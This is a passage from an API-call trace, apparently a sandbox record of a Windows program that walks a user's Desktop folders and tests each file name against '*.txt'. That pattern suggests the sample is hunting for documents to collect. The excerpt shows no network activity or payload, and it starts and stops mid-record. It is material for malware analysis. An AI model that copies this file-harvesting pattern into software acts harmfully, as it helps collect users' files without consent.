hHeap=0x2110000) returned 1 [0099.419] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0099.419] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.419] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.419] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini" [0099.419] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.419] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.419] lstrcatW (in: lpString1="\\", lpString2="desktop.ini" | out: lpString1="\\desktop.ini") returned="\\desktop.ini" [0099.419] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.419] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2b) returned 0x2110550 [0099.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x2110550, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0099.419] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.420] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.420] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.420] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430108 [0099.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.420] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430108 | out: hHeap=0x2110000) returned 1 [0099.420] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.txt") returned 0 [0099.420] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.420] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf952ee40, ftCreationTime.dwHighDateTime=0x1d7a8f3, ftLastAccessTime.dwLowDateTime=0xa402fd10, ftLastAccessTime.dwHighDateTime=0x1d7adc9, ftLastWriteTime.dwLowDateTime=0xa402fd10, ftLastWriteTime.dwHighDateTime=0x1d7adc9, nFileSizeHigh=0x0, nFileSizeLow=0x5bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQfg PRtMG 6zUvbPn.swf", cAlternateFileName="DQFGPR~1.SWF")) returned 1 [0099.420] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.420] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.420] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="DQfg PRtMG 6zUvbPn.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf" [0099.420] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.420] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.420] lstrcatW (in: lpString1="\\", lpString2="DQfg PRtMG 6zUvbPn.swf" | out: lpString1="\\DQfg PRtMG 6zUvbPn.swf") returned="\\DQfg PRtMG 6zUvbPn.swf" [0099.420] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.420] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x2110560 [0099.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x2110560, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", lpUsedDefaultChar=0x0) returned 54 [0099.420] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x34300d0 [0099.420] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.420] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.420] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.420] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.420] PathMatchSpecW (pszFile="DQfg PRtMG 6zUvbPn.swf", pszSpec="*.txt") returned 0 [0099.420] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.421] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDvMoYL", cAlternateFileName="")) returned 1 [0099.421] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.421] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.421] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.421] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.421] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.421] lstrcatW (in: lpString1="\\", lpString2="EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.421] lstrcmpW (lpString1="EDvMoYL", lpString2=".") returned 1 [0099.421] lstrcmpW (lpString1="EDvMoYL", lpString2="..") returned 1 [0099.421] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.421] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*" [0099.421] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.421] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.421] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.421] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\." [0099.421] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.421] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.421] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="." | out: lpString1="\\EDvMoYL\\.") returned="\\EDvMoYL\\." [0099.422] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.422] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.422] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.422] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.422] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\.." [0099.422] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.422] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.422] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2=".." | out: lpString1="\\EDvMoYL\\..") returned="\\EDvMoYL\\.." [0099.422] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.422] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.422] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ab5220, ftCreationTime.dwHighDateTime=0x1d7abc3, ftLastAccessTime.dwLowDateTime=0xb95b0290, ftLastAccessTime.dwHighDateTime=0x1d7ad4f, ftLastWriteTime.dwLowDateTime=0xb95b0290, ftLastWriteTime.dwHighDateTime=0x1d7ad4f, nFileSizeHigh=0x0, nFileSizeLow=0x5f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mtbyKgsBp9ITL0q.wav", cAlternateFileName="MTBYKG~1.WAV")) returned 1 [0099.422] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.423] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.423] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="mtbyKgsBp9ITL0q.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav" [0099.423] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.423] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.423] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="mtbyKgsBp9ITL0q.wav" | out: lpString1="\\EDvMoYL\\mtbyKgsBp9ITL0q.wav") returned="\\EDvMoYL\\mtbyKgsBp9ITL0q.wav" [0099.423] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104e8 [0099.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0099.423] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3b) returned 0x34300d0 [0099.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x34300d0, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", lpUsedDefaultChar=0x0) returned 59 [0099.423] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21111c0 [0099.423] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.423] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.423] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.423] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.423] PathMatchSpecW (pszFile="mtbyKgsBp9ITL0q.wav", pszSpec="*.txt") returned 0 [0099.423] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0099.423] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabbfa910, ftCreationTime.dwHighDateTime=0x1d7a62e, ftLastAccessTime.dwLowDateTime=0x1f017030, ftLastAccessTime.dwHighDateTime=0x1d7a688, ftLastWriteTime.dwLowDateTime=0x1f017030, ftLastWriteTime.dwHighDateTime=0x1d7a688, nFileSizeHigh=0x0, nFileSizeLow=0x160b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="phZbMj_330X.png", cAlternateFileName="PHZBMJ~1.PNG")) returned 1 [0099.423] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.423] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.423] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="phZbMj_330X.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png" [0099.424] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.424] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.424] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="phZbMj_330X.png" | out: lpString1="\\EDvMoYL\\phZbMj_330X.png") returned="\\EDvMoYL\\phZbMj_330X.png" [0099.424] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.424] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x2110560 [0099.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x2110560, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", lpUsedDefaultChar=0x0) returned 55 [0099.424] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x34300d0 [0099.424] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.424] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.424] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.424] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.424] PathMatchSpecW (pszFile="phZbMj_330X.png", pszSpec="*.txt") returned 0 [0099.424] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.424] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c9890, ftCreationTime.dwHighDateTime=0x1d7a6b1, ftLastAccessTime.dwLowDateTime=0x7246ec70, ftLastAccessTime.dwHighDateTime=0x1d7af89, ftLastWriteTime.dwLowDateTime=0x7246ec70, ftLastWriteTime.dwHighDateTime=0x1d7af89, nFileSizeHigh=0x0, nFileSizeLow=0x11eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="UJ3K_uO6cMgmy7zg.flv", cAlternateFileName="UJ3K_U~1.FLV")) returned 1 [0099.424] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.424] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.424] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="UJ3K_uO6cMgmy7zg.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv" [0099.424] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.424] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.424] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="UJ3K_uO6cMgmy7zg.flv" | out: lpString1="\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv") returned="\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv" [0099.424] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104e8 [0099.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.424] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x34300d0 [0099.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x34300d0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", lpUsedDefaultChar=0x0) returned 60 [0099.425] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21111c0 [0099.425] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.425] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.425] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.425] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.425] PathMatchSpecW (pszFile="UJ3K_uO6cMgmy7zg.flv", pszSpec="*.txt") returned 0 [0099.425] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0099.425] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87332790, ftCreationTime.dwHighDateTime=0x1d7ab7c, ftLastAccessTime.dwLowDateTime=0xafecd760, ftLastAccessTime.dwHighDateTime=0x1d7b047, ftLastWriteTime.dwLowDateTime=0xafecd760, ftLastWriteTime.dwHighDateTime=0x1d7b047, nFileSizeHigh=0x0, 